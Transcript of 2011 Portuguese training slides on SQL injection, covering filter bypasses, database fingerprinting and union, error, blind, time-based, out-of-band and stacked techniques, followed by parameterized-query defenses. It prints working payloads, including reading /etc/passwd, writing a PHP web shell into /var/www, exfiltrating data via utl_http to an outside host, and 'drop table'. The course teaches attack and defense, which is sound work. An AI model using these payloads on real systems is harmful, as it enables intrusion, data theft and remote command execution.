Web app flaws

27
Web App Flaws Minicurso sobre falhas em aplicações web 2011 David G. Guimarães skysbsb[at]gmail.com

description

Web App Flaws - Sql Injection

Transcript of Web app flaws

Web App Flaws

Minicurso sobre falhas em aplicações web

2011

David G. Guimarãesskysbsb[at]gmail.com

Roteiro

SQL Injection

IntroduçãoDescobrindo falhasAnálise

FiltrosIdentificação do SGBD/DBMSLocalizaçãoTécnicas

File AccessMitigaçãoHands On

ReferênciasRemote/Local File InclusionXSS

SQL InjectionIntrodução

O que é?Inserção de códigos SQL através da manipulação de dados de entrada passados ao aplicativo web.

Como se dá?O desenvolvedor é o responsável direto por tornar o código inseguro.

CausasDesenvolvedor desconhece fatos inerentes a segurança de código, assim como a possibilidade de exploração do mesmo.Desenvolvedor conhece fatos inerentes a segurança de código, mas é displicente em tomar medidas preventivas para correção do mesmo.Falta de processos definidos relativos a desenvolvimento seguro e auditoria.

SQL InjectionIntrodução

Exemplo de código vulnerável (formulário de login)$query = "select id from usuarios where user='$_GET['user']' and password='$_GET['password']'";$usuario = mysql_query($query);

http://vulnsite.com/admin/login.php?user=admin&password=' OR '1'='1

Query manipulada:select id from usuarios where user='admin' and password='' or '1'='1'Condição 1=1 sempre verdadeira. Login realizado com sucesso.

SQL InjectionIntrodução

CaracterísticasNão necessita interação do usuário, ao contrário de XSS.Sintaxe SQL idêntica ou bastante similar entre todos os SGBD/DBMS.

Cheat sheets (Lista dos comandos básicos de SQL p/ cada linguagem)Fácil de ser encontrada e explorada.Possibilidade de acesso ao sistema de arquivos.Possibilidade de exploração de vulnerabilidades no SGBD/DBMS.Dificuldade em se obter mecanismos de proteção genéricos.Milhões de ferramentas livres/open source para scan, análise e exploração.Presente na grande maioria dos sites.

SQL InjectionIntrodução

CookbookDescobrindo falhas

Manual (Proxy, Firefox Addons)Automatizado (ferramentas de fuzzing)Testes básicos

AnáliseFiltros? (Código de filtro, PHPIDS, WAF, IPS, etc.)SGBD/DBMS utilizado (MySQL, Postgree, SQLServer, Oracle, MSAccess)Localização da falha na query (where/having, group/order by, etc)Técnicas possíveis (union/inband, blind, out-of-band, error, stacked)Privilégios permitidos (USAGE, FILE, administrator)

Extração/Enumeração dos dadosDatabasesTabelasColunasLinhas

SQL InjectionIntrodução

CookbookPost-exploitation

Atingindo outros objetivosEncontrando outras falhasQuebrando senhas/hashs usando rainbowtablesAcesso ao sistema de arquivos

Virando root

SQL InjectionDescobrindo falhas

Forma automatizadaFerramentas

Nessus, w3af, Nikto, Pangolin, Havij, etc.

Forma manualMapear páginas dinâmicasPassivo

Proxy (webscarab, burp, etc.)Addons (Firefox: hackbar, Sql Inject me, tamper data, etc.)

Testes básicos

Númerico: id=30Testes: id=30 AND 1=1; id=30'; id=30+4-4; id=30/**/;

String: busca=hdbusca=hd'; hd'--; hd' AND '1'='1

SQL InjectionAnálise - Filtros

Analisando e burlando filtrosFiltros genéricos de remoção/bloqueio baseado em tokens

Exemplo:replace("union| |select|--|/*|...", "");

Bypass

Encoding usando tabela ASCII e hexadecimalURLs só podem ser enviadas através da Internet utilizando o conjunto de caracteres ASCII.URLs contêm geralmente caracteres fora do conjunto ASCII, que tem de ser convertidos em um formato ASCII válido.Encoding de URL substitui caracteres ASCII inseguro com um "%" seguido de dois dígitos hexadecimais. Exemplo:

union vira %75%6e%69%6f%6e

SQL InjectionAnálise - Filtros

Analisando e burlando filtrosFiltros genéricos de remoção/bloqueio baseado em tokens

Exemplo:replace("union| |select|--|/*|...", "");

Bypass

Usar outros caracteres para separação entre tokens: '\n'(0x0A), '\t'(0x0B), etcExemplo:

Objetivo: id=1 union select 1,2,3--Bypass: id=1%0Aunio--n%0Aselec--t%0A1,2,3-select-

maiúsculas/minúsculasselect vira sElEcT

SQL InjectionAnálise - Filtros

Analisando e burlando filtrosFiltros de tratamento de caracteres SQL especiais

mysql_real_escape_string/addslashes/etc.trata caracteres ', ", /, \, \x00, adicionando '\' antes dos mesmos, sanitizando-osBypass:

usar a função char()Exemplo:

union select column_name from information_schema.columns where table_name = 'tabela'union select column_name from information_schema.columns where table_name = CHAR(116, 97, 98, 101, 108, 97)

Filtro de tamanho no parâmetroUtiliza função que corta/bloqueia em X bytes o parâmetro

SQL InjectionAnálise - Identificação do SGBD

Identificação do SGBD/DBMSNecessário para extração dos dados/construção da consultaSintaxe SQL única para cada SGBD

Cheat sheets de funções únicas de cada SGBDMySQL

CONNECTION_ID()=CONNECTION_ID(), USER()=USER(), substring(@@version, 1, 1)

OracleROWNUM=ROWNUM, LENGTH(SYSDATE)=LENGTH(SYSDATE)

MS SQL ServerBINARY_CHECKSUM(123)=BINARY_CHECKSUM(123), HOST_NAME()=HOST_NAME()

Postgree SQL1::int=1, VERSION()=VERSION()

SQL InjectionAnálise - Localização

Query inteirahttp://vulnsite.com/script.php?sql=select+id,nome+from+usuarios

Colunas/Tabelashttp://vulnsite.com/script.php?colunas=cidade&tabela=estado&nome=brasilia$query = "select $_GET['colunas'] from $_GET['tabela'] where nome = '$_GET['nome']'";

Where/Havinghttp://vulnsite.com/script.php?noticiaid=2$query = "select titulo,corpo from noticias where id = $_GET['noticiaid']";

Order/Group Byhttp://vulnsite.com/lista.php?ordenar_por=preco$query = "select id,nome,preco from produtos order by $_GET['ordernar_por']";

SQL InjectionAnálise - Localização

Limithttp://vulnsite.com/lista.php?pagina=0&linhas_por_pagina=10$query = "select id,nome,preco from produtos order by preco limit $_GET['pagina'], $_GET['linhas_por_pagina']";

SQL InjectionAnálise - Técnicas

Union/In-band basedResultado parcial ou total da query na página de resposta.

Resultado depende da lógica do scriptO resultado pode aparecer no cabeçalho

Cookies, Location, etc.Exemplo em ADS:

http://site.com/ads.php?url=1$query = "select uri from urls where id = $_GET['url']";$result = mysql_query($query);header("Location: ".mysql_result($result, 1));

SQL InjectionAnálise - Técnicas

Union/In-band basedÉ necessário a identificação da quantidade de colunas da consulta anterior.

A união das consultas deve possuir o mesmo número de colunas.Exemplo:

select id, nome from users where id=3 union select 1, @@versionUso do order by para descobrir o número de colunas:

http://vulnsite.com/lista.php?id=3 order by 20Força bruta com NULL para adivinhar o número de colunas

id=3 union select null, null, null

SQL InjectionAnálise - Técnicas

Union/In-band basedExemplo:

$query = "select nome, telefone from usuarios where id = $_GET['id']"http://vulnsite.com/users.php?id=3 union all select table_name, table_schema from information_schema.tables#

SQL InjectionAnálise - Técnicas

Error basedBaseado na manipulação de mensagens de erro geradas pelo SGBDResultado limitado a um número X de caracteres.Barulhento (gera mensagens de erro que podem ser armazenadas na máquina)Exemplo:

d=1' AND (SELECT 2373 FROM(SELECT COUNT(*),CONCAT(CHAR(58,122,101,100,58),(select @@version),CHAR(58,112,122,120,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND 'kGgv'='kGgv&Submit=SubmitERROR 1062 (23000): Duplicate entry ':5.1.41-3ubuntu12.10:1' for key 'group_key'

SQL InjectionAnálise - Técnicas

Out-of-band basedUso de requisições DNS e HTTP para recuperar dadosResultado limitado a uma quantidade X de caracteres Exemplo:

utl_http.request('http://www.foo.com:80/'||(select username from dba_users where rownum=1))10.1.1.101 - - [08/Aug/2007:10:02:40 +0000] "GET /SYS HTTP/1.1" 404 0 - -

utl_http.request('http://'||(select user from dual)||'.dyndns.com')Verificar logs do bind/named ou;Wireshark/tcpdump na porta 53 do servidor DNS.

SQL InjectionAnálise - Técnicas

Blind basedRealiza inúmeras comparações para obtenção da informaçãoMuito lento

Aperfeiçoado usando-se paralelismo (threads)Aperfeiçoado usando-se busca binária.Exemplo:

id=1 and substring(@@version, 1, 1)=5id=1 and substring(@@version, 2, 1)='.'etc

SQL InjectionAnálise - Técnicas

Full-blind time basedBaseada em tempo de resposta

waitfor delay '0:0:5', sleep(5), etc.Mais lenta de todasPode-se utilizar paralelismoPode-se utilizar "heavy queries":

BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))Pode gerar resultados inválidos/inconsistentesExemplo:

http://vulnsite.com/vulnscript.php?id=45;if EXISTS (select loginame from master..sysprocesses where spid = @@SPID and loginame = 'dominio\usuario') waitfor delay '0:0:5'--Dorme 5 segundos caso o loginame seja o especificado.

SQL InjectionAnálise - Técnicas

Stacked basedPermite alteração dos dados no BD. UPDATE, DROP, etc.Possível somente em algumas tecnologias.Pode ser utilizada em conjunto com a técnica baseada em tempo e baseada em erro.Exemplo:

busca=nome'; drop table noticias--busca=nome'; if (substring(@@version, 1, 1)='M') waitfor delay '0:0:5' else select 1;--

SQL InjectionAnálise - File Access

Depende do nível de permissão do usuário.Permite leitura, escrita e execução de arquivos com a permissão do usuário rodando o DBMS.Exemplo:

Leitura:id=1 union select load_file('/etc/passwd');

Escrita: id=1 union select "<?php system($_GET['cmd']); ?>" into outfile '/var/www/c.php';--id=1 union select "<?php fwrite(fopen($_POST[t],w),$_POST[d]); ?>" into outfile '/var/www/c.php';--

Execução: xp_cmdshell()UDF Injection

SQL InjectionEvitando SQLi

Solução global: usar consultas/querys parametrizadasExemplo (Unsafe)

$unsafe_variable = $_POST["user-input"];mysql_query("select * from users where id = ".$unsafe_variable);

Exemplo (Safe)$preparedStatement = $db->prepare('select * from users where id = :id');$preparedStatement->execute(array(':id' => $unsafe_variable));$rows = $preparedStatement->fetchAll();

TRATAR TODAS as possíveis mensagens de erro, configurar tecnologia para não mostrar erros para o usuário.

SQL InjectionEvitando SQLi

Sanitizar/tratar todos os parâmetros recebidos dos usuários.Inteiro

Converter entrada para inteiro (intval(), is_numeric());Tratar possibilidade de números negativos;

StringTratar caracteres especiais (htmlentities($param, ENT_QUOTES))

html, sql, etc.

SQL InjectionHands On - Ao que interessa

Demonstração de todos os passos para exploração de Web App Flaws.DVWA - ferramenta de demonstração/aplicação de vulnerabilidadesSQLMAP - ferramenta para extração de dados

SQL InjectionReferências

Google codelab: http://google-gruyere.appspot.com/Ferramentas: sqlsus, sqlmap, pangolin, marathon, bsqli, Havij, sqlninja, etc.Tabela ASCII: http://www.asciitable.com/SQL Injection Cheat Sheets: http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/